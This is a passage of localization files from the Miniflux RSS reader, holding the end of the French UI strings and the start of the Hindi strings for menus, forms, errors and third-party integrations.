"error.feed_mandatory_fields": "L'URL et la catégorie sont obligatoire.",
"error.feed_already_exists": "Ce flux existe déjà.",
"error.invalid_feed_url": "URL de flux non valide.",
"error.invalid_site_url": "URL de site non valide.",
"error.feed_url_not_empty": "L'URL du flux ne peut pas être vide.",
"error.site_url_not_empty": "L'URL du site ne peut pas être vide.",
"error.feed_title_not_empty": "Le titre du flux ne peut pas être vide.",
"error.feed_category_not_found": "Cette catégorie n'existe pas ou n'appartient pas à cet utilisateur.",
"error.feed_invalid_blocklist_rule": "La règle de blocage n'est pas valide.",
"error.feed_invalid_keeplist_rule": "La règle d'autorisation n'est pas valide.",
"error.user_mandatory_fields": "Le nom d'utilisateur est obligatoire.",
"error.api_key_already_exists": "Cette clé d'API existe déjà.",
"error.unable_to_create_api_key": "Impossible de créer cette clé d'API.",
"error.invalid_theme": "Thème non valide.",
"error.invalid_language": "Langue non valide.",
"error.invalid_timezone": "Fuseau horaire non valide.",
"error.invalid_entry_direction": "Ordre de trie non valide.",
"error.invalid_display_mode": "Mode d'affichage de l'application web non valide.",
"error.invalid_gesture_nav": "Navigation gestuelle non valide.",
"error.invalid_default_home_page": "Page d'accueil par défaut invalide !",
"form.feed.label.title": "Titre",
"form.feed.label.site_url": "URL du site web",
"form.feed.label.feed_url": "URL du flux",
"form.feed.label.description": "Description",
"form.feed.label.category": "Catégorie",
"form.feed.label.crawler": "Récupérer le contenu original",
"form.feed.label.feed_username": "Nom d'utilisateur du flux",
"form.feed.label.feed_password": "Mot de passe du flux",
"form.feed.label.user_agent": "Remplacer l'agent utilisateur par défaut",
"form.feed.label.cookie": "Définir les cookies",
"form.feed.label.scraper_rules": "Règles pour récupérer le contenu original",
"form.feed.label.rewrite_rules": "Règles de réécriture",
"form.feed.label.apprise_service_urls": "Liste séparée par des virgules des URL du service Apprise",
"form.feed.label.blocklist_rules": "Règles de blocage",
"form.feed.label.keeplist_rules": "Règles d'autorisation",
"form.feed.label.urlrewrite_rules": "Règles de réécriture d'URL",
"form.feed.label.ignore_http_cache": "Ignorer le cache HTTP",
"form.feed.label.allow_self_signed_certificates": "Autoriser les certificats auto-signés ou non valides",
"form.feed.label.disable_http2": "Désactiver HTTP/2",
"form.feed.label.fetch_via_proxy": "Récupérer via proxy",
"form.feed.label.disabled": "Ne pas actualiser ce flux",
"form.feed.label.no_media_player": "Pas de lecteur multimedia (audio/vidéo)",
"form.feed.label.hide_globally": "Masquer les entrées dans la liste globale non lue",
"form.feed.label.ntfy_activate": "Activer les notifications",
"form.feed.label.ntfy_priority": "Priorité de notification",
"form.feed.label.ntfy_max_priority": "Priorité maximale de notification",
"form.feed.label.ntfy_high_priority": "Priorité élevée de notification",
"form.feed.label.ntfy_default_priority": "Priorité par défaut de notification",
"form.feed.label.ntfy_low_priority": "Priorité basse de notification",
"form.feed.label.ntfy_min_priority": "Priorité minimale de notification",
"form.integration.cubox_activate": "Save entries to Cubox",
"form.integration.cubox_api_link": "Cubox API link",
"form.feed.fieldset.general": "Général",
"form.feed.fieldset.rules": "Règles",
"form.feed.fieldset.network_settings": "Paramètres réseau",
"form.feed.fieldset.integration": "Services tiers",
"form.category.label.title": "Titre",
"form.category.hide_globally": "Masquer les entrées dans la liste globale non lue",
"form.user.label.username": "Nom d'utilisateur",
"form.user.label.password": "Mot de passe",
"form.user.label.confirmation": "Confirmation du mot de passe",
"form.user.label.admin": "Administrateur",
"form.prefs.label.language": "Langue",
"form.prefs.label.timezone": "Fuseau horaire",
"form.prefs.label.theme": "Thème",
"form.prefs.label.entry_sorting": "Ordre des éléments",
"form.prefs.label.entries_per_page": "Entrées par page",
"form.prefs.label.default_reading_speed": "Vitesse de lecture pour les autres langues (mots par minute)",
"form.prefs.label.cjk_reading_speed": "Vitesse de lecture pour le Chinois, le Coréen et le Japonais (caractères par minute)",
"form.prefs.label.display_mode": "Mode d'affichage de l'Application Web Progressive (PWA)",
"form.prefs.select.older_first": "Ancien éléments en premier",
"form.prefs.select.recent_first": "Éléments récents en premier",
"form.prefs.select.fullscreen": "Plein écran",
"form.prefs.select.standalone": "Autonome",
"form.prefs.select.minimal_ui": "Minimal",
"form.prefs.select.browser": "Navigateur",
"form.prefs.select.publish_time": "Heure de publication de l'entrée",
"form.prefs.select.created_time": "Heure de création de l'entrée",
"form.prefs.select.alphabetical": "Alphabétique",
"form.prefs.select.unread_count": "Nombre d'articles non lus",
"form.prefs.select.none": "Aucun",
"form.prefs.select.tap": "Tapez deux fois",
"form.prefs.select.swipe": "Glisser",
"form.prefs.label.keyboard_shortcuts": "Activer les raccourcis clavier",
"form.prefs.label.entry_swipe": "Activer le balayage des entrées sur les écrans tactiles",
"form.prefs.label.gesture_nav": "Geste pour naviguer entre les entrées",
"form.prefs.label.show_reading_time": "Afficher le temps de lecture estimé des articles",
"form.prefs.label.custom_css": "Feuille de style personnalisée",
"form.prefs.label.custom_js": "Code JavaScript personnalisé",
"form.prefs.label.entry_order": "Colonne de tri des entrées",
"form.prefs.label.default_home_page": "Page d'accueil par défaut",
"form.prefs.label.categories_sorting_order": "Colonne de tri des catégories",
"form.prefs.label.mark_read_on_view": "Marquer automatiquement les entrées comme lues lorsqu'elles sont consultées",
"form.prefs.label.mark_read_on_view_or_media_completion": "Marquer automatiquement les entrées comme lues lorsqu'elles sont consultées. Pour l'audio/vidéo, marquer comme lues après 90%%",
"form.prefs.label.mark_read_on_media_completion": "Marqué les entrées comme lues uniquement après 90%% de lecture de l'audio/vidéo",
"form.prefs.label.mark_read_manually": "Marqué les entrées comme lues manuellement",
"form.prefs.fieldset.application_settings": "Paramètres de l'application",
"form.prefs.fieldset.authentication_settings": "Paramètres d'authentification",
"form.prefs.fieldset.reader_settings": "Paramètres du lecteur",
"form.prefs.fieldset.global_feed_settings": "Paramètres globaux des abonnements",
"form.prefs.label.external_font_hosts": "Polices externes autorisées",
"form.prefs.help.external_font_hosts": "Liste de domaine externes autorisés, séparés par des espaces. Par exemple : « fonts.gstatic.com fonts.googleapis.com ».",
"error.settings_invalid_domain_list": "Liste de domaines invalide. Veuillez fournir une liste de domaines séparés par des espaces.",
"form.import.label.file": "Fichier OPML",
"form.import.label.url": "URL",
"form.integration.betula_activate": "Sauvegarder les entrées vers Betula",
"form.integration.betula_url": "URL du serveur Betula",
"form.integration.betula_token": "Jeton de sécurité de l'API de Betula",
"form.integration.fever_activate": "Activer l'API de Fever",
"form.integration.fever_username": "Nom d'utilisateur pour l'API de Fever",
"form.integration.fever_password": "Mot de passe pour l'API de Fever",
"form.integration.fever_endpoint": "Point de terminaison de l'API Fever :",
"form.integration.googlereader_activate": "Activer l'API de Google Reader",
"form.integration.googlereader_username": "Nom d'utilisateur pour l'API de Google Reader",
"form.integration.googlereader_password": "Mot de passe pour l'API de Google Reader",
"form.integration.googlereader_endpoint": "Point de terminaison de l'API Google Reader :",
"form.integration.pinboard_activate": "Sauvegarder les articles vers Pinboard",
"form.integration.pinboard_token": "Jeton de sécurité de l'API de Pinboard",
"form.integration.pinboard_tags": "Libellés de Pinboard",
"form.integration.pinboard_bookmark": "Marquer le lien comme non lu",
"form.integration.instapaper_activate": "Sauvegarder les articles vers Instapaper",
"form.integration.instapaper_username": "Nom d'utilisateur Instapaper",
"form.integration.instapaper_password": "Mot de passe Instapaper",
"form.integration.pocket_activate": "Sauvegarder les articles vers Pocket",
"form.integration.pocket_consumer_key": "Clé de l'API de Pocket",
"form.integration.pocket_access_token": "Jeton d'accès de l'API de Pocket",
"form.integration.pocket_connect_link": "Connectez votre compte Pocket",
"form.integration.wallabag_activate": "Sauvegarder les articles vers Wallabag",
"form.integration.wallabag_only_url": "Envoyer uniquement l'URL (au lieu du contenu complet)",
"form.integration.wallabag_endpoint": "URL de base de Wallabag",
"form.integration.wallabag_client_id": "Identifiant unique du client Wallabag",
"form.integration.wallabag_client_secret": "Clé secrète du client Wallabag",
"form.integration.wallabag_username": "Nom d'utilisateur de Wallabag",
"form.integration.wallabag_password": "Mot de passe de Wallabag",
"form.integration.notion_activate": "Sauvegarder les articles vers Notion",
"form.integration.notion_page_id": "Identifiant de la page Notion",
"form.integration.notion_token": "Jeton d'accès de l'API de Notion",
"form.integration.apprise_activate": "Envoyer les articles vers Apprise",
"form.integration.apprise_url": "URL de l'API Apprise",
"form.integration.apprise_services_url": "Liste des services Apprise séparés par des virgules",
"form.integration.nunux_keeper_activate": "Sauvegarder les articles vers Nunux Keeper",
"form.integration.nunux_keeper_endpoint": "URL de l'API de Nunux Keeper",
"form.integration.nunux_keeper_api_key": "Clé d'API de Nunux Keeper",
"form.integration.omnivore_activate": "Sauvegarder les articles vers Omnivore",
"form.integration.omnivore_url": "URL de l'API de Omnivore",
"form.integration.omnivore_api_key": "Clé d'API de Omnivore",
"form.integration.espial_activate": "Sauvegarder les articles vers Espial",
"form.integration.espial_endpoint": "URL de l'API de Espial",
"form.integration.espial_api_key": "Clé d'API de Espial",
"form.integration.espial_tags": "Libellés de Espial",
"form.integration.readwise_activate": "Enregistrer les entrées vers Readwise Reader",
"form.integration.readwise_api_key": "Jeton d'accès au lecteur Readwise",
"form.integration.readwise_api_key_link": "Obtenez votre jeton d'accès Readwise",
"form.integration.telegram_bot_activate": "Envoyer les nouveaux articles vers Telegram",
"form.integration.telegram_bot_token": "Jeton de sécurité de l'API du Bot Telegram",
"form.integration.telegram_chat_id": "Identifiant de discussion (Chat ID)",
"form.integration.telegram_topic_id": "Identifiant du sujet (Topic ID)",
"form.integration.telegram_bot_disable_web_page_preview": "Désactiver l'aperçu de la page Web",
"form.integration.telegram_bot_disable_notification": "Désactiver les notifications",
"form.integration.telegram_bot_disable_buttons": "Désactiver les boutons",
"form.integration.linkace_activate": "Enregistrer les entrées vers LinkAce",
"form.integration.linkace_endpoint": "Point de terminaison de l'API LinkAce",
"form.integration.linkace_api_key": "Clé d'API LinkAce",
"form.integration.linkace_tags": "Étiquettes LinkAce",
"form.integration.linkace_is_private": "Marquer le lien comme privé",
"form.integration.linkace_check_disabled": "Désactiver la vérification des liens",
"form.integration.linkding_activate": "Sauvegarder les articles vers Linkding",
"form.integration.linkding_endpoint": "URL de l'API de Linkding",
"form.integration.linkding_api_key": "Clé d'API de Linkding",
"form.integration.linkding_tags": "Libellés",
"form.integration.linkding_bookmark": "Marquer le lien comme non lu",
"form.integration.linkwarden_activate": "Sauvegarder les articles vers Linkwarden",
"form.integration.linkwarden_endpoint": "URL de l'API de Linkwarden",
"form.integration.linkwarden_api_key": "Clé d'API de Linkwarden",
"form.integration.matrix_bot_activate": "Envoyer les nouveaux articles vers Matrix",
"form.integration.matrix_bot_user": "Nom de l'utilisateur Matrix",
"form.integration.matrix_bot_password": "Mot de passe de l'utilisateur Matrix",
"form.integration.matrix_bot_url": "URL du serveur Matrix",
"form.integration.matrix_bot_chat_id": "Identifiant de la salle Matrix",
"form.integration.raindrop_activate": "Enregistrer les entrées vers Raindrop",
"form.integration.raindrop_token": "Jeton d'accès de Raindrop",
"form.integration.raindrop_collection_id": "Identifiant de la collection",
"form.integration.raindrop_tags": "Libellés (séparées par des virgules)",
"form.integration.readeck_activate": "Sauvegarder les articles vers Readeck",
"form.integration.readeck_endpoint": "URL de l'API de Readeck",
"form.integration.readeck_api_key": "Clé d'API de Readeck",
"form.integration.readeck_labels": "Readeck Labels",
"form.integration.readeck_only_url": "Envoyer uniquement l'URL (au lieu du contenu complet)",
"form.integration.shiori_activate": "Sauvegarder les articles vers Shiori",
"form.integration.shiori_endpoint": "URL de l'API de Shiori",
"form.integration.shiori_username": "Nom d'utilisateur de Shiori",
"form.integration.shiori_password": "Mot de passe de Shiori",
"form.integration.shaarli_activate": "Sauvegarder les articles vers Shaarli",
"form.integration.shaarli_endpoint": "URL de l'API de Shaarli",
"form.integration.shaarli_api_secret": "Clé d'API de Shaarli API",
"form.integration.webhook_activate": "Activer le webhook",
"form.integration.webhook_url": "URL du webhook",
"form.integration.webhook_secret": "Secret du webhook",
"form.integration.rssbridge_activate": "Check RSS-Bridge when adding subscriptions",
"form.integration.rssbridge_url": "RSS-Bridge server URL",
"form.integration.ntfy_activate": "Envoyer les entrées vers ntfy",
"form.integration.ntfy_topic": "Sujet Ntfy",
"form.integration.ntfy_url": "URL de Ntfy (optionnel, ntfy.sh par défaut)",
"form.integration.ntfy_api_token": "Jeton d'API Ntfy (optionnel)",
"form.integration.ntfy_username": "Nom d'utilisateur Ntfy (optionnel)",
"form.integration.ntfy_password": "Mot de passe Ntfy (facultatif)",
"form.integration.ntfy_icon_url": "URL de l'icône Ntfy (facultatif)",
"form.integration.ntfy_internal_links": "Utiliser les liens internes vers Miniflux (facultatif)",
"form.integration.discord_activate": "Envoyer les articles vers Discord",
"form.integration.discord_webhook_link": "URL du Webhook Discord",
"form.api_key.label.description": "Libellé de la clé d'API",
"form.submit.loading": "Chargement...",
"form.submit.saving": "Sauvegarde en cours...",
"time_elapsed.not_yet": "pas encore",
"time_elapsed.yesterday": "hier",
"time_elapsed.now": "à l'instant",
"time_elapsed.minutes": [
"il y a %d minute",
"il y a %d minutes"
],
"time_elapsed.hours": [
"il y a %d heure",
"il y a %d heures"
],
"time_elapsed.days": [
"il y a %d jour",
"il y a %d jours"
],
"time_elapsed.weeks": [
"il y a %d semaine",
"il y a %d semaines"
],
"time_elapsed.months": [
"il y a %d mois",
"il y a %d mois"
],
"time_elapsed.years": [
"il y a %d an",
"il y a %d ans"
],
"alert.too_many_feeds_refresh": [
"Vous avez déclenché trop d'actualisations de flux. Veuillez attendre %d minute avant de réessayer.",
"Vous avez déclenché trop d'actualisations de flux. Veuillez attendre %d minutes avant de réessayer."
],
"alert.background_feed_refresh": "Les abonnements sont en cours d'actualisation en arrière-plan. Vous pouvez continuer à naviguer dans l'application.",
"error.http_response_too_large": "La réponse HTTP est trop volumineuse. Vous pouvez augmenter la limite de taille de réponse HTTP dans les paramètres de l'application (redémarrage de l'application nécessaire).",
"error.http_body_read": "Impossible de lire le corps de la réponse HTTP : %v.",
"error.http_empty_response_body": "Le corps de la réponse HTTP est vide.",
"error.http_empty_response": "La réponse HTTP est vide. Peut-être que ce site web bloque Miniflux avec une protection anti-bot ?",
"error.tls_error": "Erreur TLS : %q. Vous pouvez désactiver la vérification TLS dans les paramètres de l'abonnement.",
"error.network_operation": "Miniflux n'est pas en mesure de se connecter à ce site web à cause d'un problème réseau : %v.",
"error.network_timeout": "Ce site web est trop lent à répondre : %v.",
"error.http_client_error": "Erreur du client HTTP : %v.",
"error.http_not_authorized": "Accès non autorisé à ce site web. Veuillez vérifier les identifiants de cet abonnement.",
"error.http_too_many_requests": "Miniflux a généré trop de requêtes vers ce site web. Veuillez réessayer plus tard ou changez la configuration de l'application.",
"error.http_forbidden": "Accès interdit à ce site web. Il se peut que ce site web bloque Miniflux avec une protection anti-bot.",
"error.http_resource_not_found": "La resource demandée n'existe pas sur ce site web. Veuillez vérifier l'URL.",
"error.http_internal_server_error": "Le site web n'est pas disponible pour le moment à cause d'une erreur interne au serveur. Le problème ne vient pas de Miniflux. Veuillez réessayer plus tard.",
"error.http_bad_gateway": "Le site web n'est pas disponible pour le moment à cause d'une erreur de passerelle réseau. Le problème ne vient pas de Miniflux. Veuillez réessayer plus tard.",
"error.http_service_unavailable": "Le site web n'est pas disponible pour le moment. Le problème ne vient pas de Miniflux. Veuillez réessayer plus tard.",
"error.http_gateway_timeout": "Le site web n'est pas disponible pour le moment à cause d'un délai d'attente dépassé. Le problème ne vient pas de Miniflux. Veuillez réessayer plus tard.",
"error.http_unexpected_status_code": "Le site web a répondu avec un code HTTP inattendu : %d. Le problème ne vient pas de Miniflux. Veuillez réessayer plus tard.",
"error.database_error": "Erreur de la base de données : %v.",
"error.category_not_found": "Cette catégorie n'existe pas ou n'appartient pas à cet utilisateur.",
"error.duplicated_feed": "Ce flux existe déjà.",
"error.unable_to_parse_feed": "Impossible d'analyser ce flux : %v.",
"error.feed_not_found": "Impossible de trouver ce flux.",
"error.unable_to_detect_rssbridge": "Impossible de détecter un flux RSS en utilisant RSS-Bridge: %v.",
"error.feed_format_not_detected": "Impossible de détecter le format du flux : %v.",
"form.prefs.label.media_playback_rate": "Vitesse de lecture de l'audio/vidéo",
"error.settings_media_playback_rate_range": "La vitesse de lecture est hors limites",
"enclosure_media_controls.seek" : "Avancer/Reculer :",
"enclosure_media_controls.seek.title" : "Avancer/Reculer de %s seconds",
"enclosure_media_controls.speed" : "Vitesse :",
"enclosure_media_controls.speed.faster" : "Accélérer",
"enclosure_media_controls.speed.faster.title" : "Accélérer de %sx",
"enclosure_media_controls.speed.slower" : "Ralentir",
"enclosure_media_controls.speed.slower.title" : "Ralentir de %sx",
"enclosure_media_controls.speed.reset" : "Réinitialiser",
"enclosure_media_controls.speed.reset.title" : "Réinitialiser la vitesse de lecture à 1x"
}
v2-2.2.5/internal/locale/translations/hi_IN.json 0000664 0000000 0000000 00000134703 14743520056 0021542 0 ustar 00root root 0000000 0000000 {
"skip_to_content": "Skip to content",
"confirm.question": "मंजूर है?",
"confirm.question.refresh": "क्या आप बल द्वारा ताज़ा करना चाहते हैं?",
"confirm.yes": "हाँ",
"confirm.no": " नहीं",
"confirm.loading": " प्रगति में है ...",
"action.subscribe": "सदस्यता लें",
"action.save": "सहेजें",
"action.or": "या",
"action.cancel": "रद्द करें",
"action.remove": "हटाएँ",
"action.remove_feed": "इस फ़ीड को हटाएँ",
"action.update": "नवीनीकरण करे",
"action.edit": "संपाद करे",
"action.download": "डाउनलोड",
"action.import": "आयात करे",
"action.login": "लॉग इन करें",
"action.home_screen": "होम स्क्रीन में शामिल करें",
"tooltip.keyboard_shortcuts": "कुंजीपटल संक्षिप्त रीति: %s",
"tooltip.logged_user": "%s के रूप में लॉग इन किया",
"menu.title": "Menu",
"menu.home_page": "Home page",
"menu.unread": "अपठित",
"menu.starred": "तारांकित",
"menu.history": "इतिहास",
"menu.feeds": "फ़ीड",
"menu.categories": "श्रेणियाँ",
"menu.settings": "समायोजन",
"menu.logout": "लॉग आउट",
"menu.preferences": "पसंद",
"menu.integrations": "एकीकरण",
"menu.sessions": "सत्र",
"menu.users": "उपयोगकर्ताओं",
"menu.about": "के बारे में",
"menu.export": "निर्यात करे",
"menu.import": "आयात करे",
"menu.search": "खोज",
"menu.create_category": "श्रेणी बनाए",
"menu.mark_page_as_read": "इस पृष्ठ को पढ़ा हुआ चिह्नित करें",
"menu.mark_all_as_read": "सभी को पढ़ा हुआ मार्क करें",
"menu.show_all_entries": "सभी प्रविष्टियाँ दिखाए",
"menu.show_only_unread_entries": "सभी अपठित प्रविष्टियाँ दिखाए",
"menu.show_only_starred_entries": "Show only starred entries",
"menu.refresh_feed": "ताज़ा करें",
"menu.refresh_all_feeds": "पृष्ठभूमि में सभी फ़ीड को ताज़ा करें",
"menu.edit_feed": "फ़ीड संपाद करे",
"menu.edit_category": "श्रेणी संपाद करे",
"menu.add_feed": "सदस्यता जोरीय",
"menu.add_user": "उपयोगकर्ता जोड़ें",
"menu.flush_history": "इतिहास मिटाएँ",
"menu.feed_entries": "प्रविष्टियाँ",
"menu.api_keys": "एपीआई कुंजी",
"menu.create_api_key": "नई एपीआई कुंजी बनाएं",
"menu.shared_entries": "साझा प्रविष्टियां",
"search.label": "खोजे",
"search.placeholder": "खोजे...",
"search.submit": "Search",
"pagination.last": "Last",
"pagination.next": "अगला",
"pagination.first": "First",
"pagination.previous": "पिछला",
"entry.status.unread": "अपठित",
"entry.status.read": "पढ़े",
"entry.status.toast.unread": "अपठित के रूप में चिह्नित",
"entry.status.toast.read": "पढ़ा हुआ चिह्नित करे",
"entry.status.title": "प्रविष्टि स्थिति बदलें",
"entry.bookmark.toggle.on": "सितारा दे",
"entry.bookmark.toggle.off": "सितारा हटा दो",
"entry.bookmark.toast.on": "तारांकित",
"entry.bookmark.toast.off": "तारांकित न करे",
"entry.state.saving": "सहेजा जा रहा है...",
"entry.state.loading": "लोड हो रहा है...",
"entry.save.label": "सहेजे",
"entry.save.title": "एस लेख को सहेजे",
"entry.save.completed": "कार्य समाप्त हुआ!",
"entry.save.toast.completed": "लेख को सहेज लिया",
"entry.scraper.label": "डाउनलोड",
"entry.scraper.title": "मूल विषयवस्तु लाए",
"entry.scraper.completed": "कार्य समाप्त हुआ!",
"entry.external_link.label": "बाहरी संपर्क",
"entry.comments.label": "टिप्पणियाँ",
"entry.comments.title": "टिप्पणियाँ देखे",
"entry.share.label": "साझा करें",
"entry.share.title": "विषयवस्तु साझा करें",
"entry.unshare.label": "न साझा कारें",
"entry.shared_entry.title": "सार्वजनिक लिंक खोले",
"entry.shared_entry.label": "साझा करें",
"entry.estimated_reading_time": [
"पढ़ने मे %d मिनट मागेगा",
"पढ़ने मे %d मिनट मागेगा"
],
"entry.tags.label": "टैग:",
"page.shared_entries.title": "साझा किया हुआ प्रविष्टि",
"page.shared_entries_count": [
"%d shared entry",
"%d shared entries"
],
"page.unread.title": "अपठित",
"page.unread_entry_count": [
"%d unread entry",
"%d unread entries"
],
"page.total_entry_count": [
"%d entry in total",
"%d entries in total"
],
"page.starred.title": "तारांकित",
"page.starred_entry_count": [
"%d starred entry",
"%d starred entries"
],
"page.categories.title": "श्रेणियाँ",
"page.categories.no_feed": "कोई फ़ीड नहीं है।",
"page.categories.entries": "विषयवस्तुया",
"page.categories.feeds": "सदस्यता ले",
"page.categories.feed_count": [
"%d फ़ीड बाकी है।",
"%d फ़ीड बाकी है।"
],
"page.categories_count": [
"%d category",
"%d categories"
],
"page.new_category.title": "नया श्रेणी",
"page.new_user.title": "नया उपभोक्ता",
"page.edit_category.title": "%s श्रेणी संपाद करे",
"page.edit_user.title": "%s उपभोक्ता संपाद करे",
"page.feeds.title": "फ़ीड",
"page.category_label": "Category: %s",
"page.feeds.last_check": "आखरी जाँच",
"page.feeds.next_check": "Next check:",
"page.feeds.read_counter": "पड़े हुए विषयवस्तुया",
"page.feeds.error_count": [
"%d समस्या",
"%d समस्याए"
],
"page.history.title": "इतिहास",
"page.read_entry_count": [
"%d read entry",
"%d read entries"
],
"page.import.title": "आयात",
"page.search.title": "खोज का परिणाम",
"page.about.title": "पृष्ठ के बारे में",
"page.about.credits": "आभार सूची",
"page.about.version": "संस्करण:",
"page.about.build_date": "बनाने की तिथि:",
"page.about.author": "रचयिता:",
"page.about.license": "अनुज्ञा:",
"page.about.global_config_options": "वैश्विक विन्यास विकल्प",
"page.about.postgres_version": "पोस्तग्राइस संस्करण:",
"page.about.go_version": "गो संस्करण:",
"page.add_feed.title": "नया सदस्यता",
"page.add_feed.no_category": "कोई श्रेणी नहीं है। एक श्रेणी अव्यशाक है।",
"page.add_feed.label.url": "यूआरएल",
"page.add_feed.submit": "सदस्यता खोजे",
"page.add_feed.legend.advanced_options": "उन्नत विकल्प",
"page.add_feed.choose_feed": "एक सदस्यता का चयन करे",
"page.edit_feed.title": "%s फ़ीड संपाद करे",
"page.edit_feed.last_check": "अंतिम जांच:",
"page.edit_feed.last_modified_header": "अंतिम बार संशोधित हैडर:",
"page.edit_feed.etag_header": "ईटाग हैडर:",
"page.edit_feed.no_header": "कोई भी नहीं",
"page.edit_feed.last_parsing_error": "अंतिम पार्सिंग त्रुटि",
"page.entry.attachments": "संलग्नक",
"page.keyboard_shortcuts.title": "कुंजीपटल अल्प मार्ग",
"page.keyboard_shortcuts.subtitle.sections": "अनुभाग नेविगेशन",
"page.keyboard_shortcuts.subtitle.items": "आइटम नेविगेशन",
"page.keyboard_shortcuts.subtitle.pages": "पेज नेविगेशन",
"page.keyboard_shortcuts.subtitle.actions": "कार्रवाई",
"page.keyboard_shortcuts.go_to_unread": "अपठित पर जाएं",
"page.keyboard_shortcuts.go_to_starred": "बुकमार्क पर जाएं",
"page.keyboard_shortcuts.go_to_history": "इतिहास पर जाएं",
"page.keyboard_shortcuts.go_to_feeds": "फ़ीड पर जाएं",
"page.keyboard_shortcuts.go_to_categories": "श्रेणि पर जाएं",
"page.keyboard_shortcuts.go_to_settings": "सेटिंग्स में जाओ",
"page.keyboard_shortcuts.show_keyboard_shortcuts": "कीबोर्ड शॉर्टकट दिखाएं",
"page.keyboard_shortcuts.go_to_previous_item": "पिछले आइटम पर जाएं",
"page.keyboard_shortcuts.go_to_next_item": "अगले आइटम पर जाएं",
"page.keyboard_shortcuts.go_to_feed": "फ़ीड पर जाएं",
"page.keyboard_shortcuts.go_to_previous_page": "पिछले पृष्ठ पर जाएं",
"page.keyboard_shortcuts.go_to_next_page": "अगले पेज पर जाएं",
"page.keyboard_shortcuts.go_to_bottom_item": "निचले आइटम पर जाएँ",
"page.keyboard_shortcuts.go_to_top_item": "शीर्ष आइटम पर जाएँ",
"page.keyboard_shortcuts.open_item": "चयनित आइटम खोलें",
"page.keyboard_shortcuts.open_original": "मूल लिंक खोलें",
"page.keyboard_shortcuts.open_original_same_window": "वर्तमान टैब में मूल लिंक खोलें",
"page.keyboard_shortcuts.open_comments": "टिप्पणी लिंक खोलें",
"page.keyboard_shortcuts.open_comments_same_window": "मौजूदा टैब में टिप्पणी लिंक खोलें",
"page.keyboard_shortcuts.toggle_read_status_next": "पढ़ें/अपठित टॉगल करें, अगला फ़ोकस करें",
"page.keyboard_shortcuts.toggle_read_status_prev": "पढ़ें/अपठित टॉगल करें, पिछला फ़ोकस करें",
"page.keyboard_shortcuts.refresh_all_feeds": "बैकग्राउंड में सभी फ़ीड्स रीफ़्रेश करें",
"page.keyboard_shortcuts.mark_page_as_read": "मौजूदा पेज को पढ़ा हुआ चिह्नित करें",
"page.keyboard_shortcuts.download_content": "मूल सामग्री डाउनलोड करें",
"page.keyboard_shortcuts.toggle_bookmark_status": "बुकमार्क टॉगल करें",
"page.keyboard_shortcuts.save_article": "विषयवस्तु सहेजें",
"page.keyboard_shortcuts.scroll_item_to_top": "आइटम को ऊपर तक स्क्रॉल करें",
"page.keyboard_shortcuts.remove_feed": "यह फ़ीड हटाएं",
"page.keyboard_shortcuts.go_to_search": "सर्च फॉर्म पर फोकस सेट करें",
"page.keyboard_shortcuts.toggle_entry_attachments": "Toggle open/close entry attachments",
"page.keyboard_shortcuts.close_modal": "मोडल डायलॉग बंद करें",
"page.users.title": "उपभोक्ता",
"page.users.username": "यूसर्नेम",
"page.users.never_logged": "कभी नहीं",
"page.users.admin.yes": "हां",
"page.users.admin.no": "नहीं",
"page.users.actions": "कार्रवाई",
"page.users.last_login": "आखरी लॉगइन",
"page.users.is_admin": "प्रशासक",
"page.settings.title": "समायोजन",
"page.settings.link_google_account": "मेरा गूगल खाता जोरीय",
"page.settings.unlink_google_account": "मेरा गूगल खाता हटाय",
"page.settings.link_oidc_account": "मेरा ओपन-ईद खाता जोरीय (%s)",
"page.settings.unlink_oidc_account": "मेरा ओपन-ईद खाता हटाय (%s)",
"page.settings.webauthn.passkeys": "Passkeys",
"page.settings.webauthn.actions": "Actions",
"page.settings.webauthn.passkey_name": "Passkey Name",
"page.settings.webauthn.added_on": "Added On",
"page.settings.webauthn.last_seen_on": "Last Used",
"page.settings.webauthn.register": "रजिस्टर पासकी",
"page.settings.webauthn.register.error": "पासकी पंजीकृत करने में असमर्थ",
"page.login.webauthn_login.help": "Please enter your username if you're using a security key. This is not required if you are using a Passkey (discoverable credentials).",
"page.settings.webauthn.delete": [
"%d पासकुंजी निकालें",
"%d पासकी हटाएं"
],
"page.login.title": "साइन इन करें",
"page.login.google_signin": "गूगल के साथ साइन इन करें",
"page.login.oidc_signin": "ओपन-ईद के साथ साइन इन करें (%s)",
"page.login.webauthn_login": "पासकी से लॉगिन करें",
"page.login.webauthn_login.error": "पासकी से लॉगिन करने में असमर्थ",
"page.integrations.title": "एकीकरण",
"page.integration.miniflux_api": "मिनिफलक्ष एपीआई",
"page.integration.miniflux_api_endpoint": "एपीआई समापन बिंदु",
"page.integration.miniflux_api_username": "यूसर्नेम",
"page.integration.miniflux_api_password": "पासवर्ड",
"page.integration.miniflux_api_password_value": "आपका खाता पासवर्ड",
"page.integration.bookmarklet": "बुकमार्कलेट",
"page.integration.bookmarklet.name": "मिनीफ्लक्स में जोड़ें",
"page.integration.bookmarklet.instructions": "इस लिंक को खींचकर अपने बुकमार्क पर छोड़ दें।",
"page.integration.bookmarklet.help": "यह विशेष लिंक आपको अपने वेब ब्राउज़र में बुकमार्क का उपयोग करके सीधे वेबसाइट की सदस्यता लेने की अनुमति देता है।",
"page.sessions.title": "सत्र",
"page.sessions.table.date": "दिनांक",
"page.sessions.table.ip": "आईपी पता",
"page.sessions.table.user_agent": "उपभोक्ता अभिकर्ता",
"page.sessions.table.actions": "कार्रवाई",
"page.sessions.table.current_session": "वर्तमान सत्र",
"page.api_keys.title": "एपीआई कुंजी",
"page.api_keys.table.description": "विवरण",
"page.api_keys.table.token": "टोकन",
"page.api_keys.table.last_used_at": "आखरी इस्त्तमाल किया गया",
"page.api_keys.table.created_at": "निर्माण तिथि",
"page.api_keys.table.actions": "कार्रवाई",
"page.api_keys.never_used": "कभी प्रयोग नहीं हुआ",
"page.new_api_key.title": "नई एपीआई कुंजी",
"page.offline.title": "ऑफ़लाइन मोड",
"page.offline.message": "आप संपर्क में नहीं हैं",
"page.offline.refresh_page": "पृष्ठ को ताज़ा करने का प्रयास करें",
"page.webauthn_rename.title": "Rename Passkey",
"alert.no_shared_entry": "कोई साझा प्रविष्टि नहीं है",
"alert.no_bookmark": "इस समय कोई बुकमार्क नहीं है",
"alert.no_category": "कोई श्रेणी नहीं है।",
"alert.no_category_entry": "इस श्रेणी में कोई विषय-वस्तु नहीं है।",
"alert.no_tag_entry": "इस टैग से मेल खाती कोई प्रविष्टियाँ नहीं हैं।",
"alert.no_feed_entry": "इस फ़ीड के लिए कोई विषय-वस्तु नहीं है।",
"alert.no_feed": "आपके पास कोई सदस्यता नहीं है।",
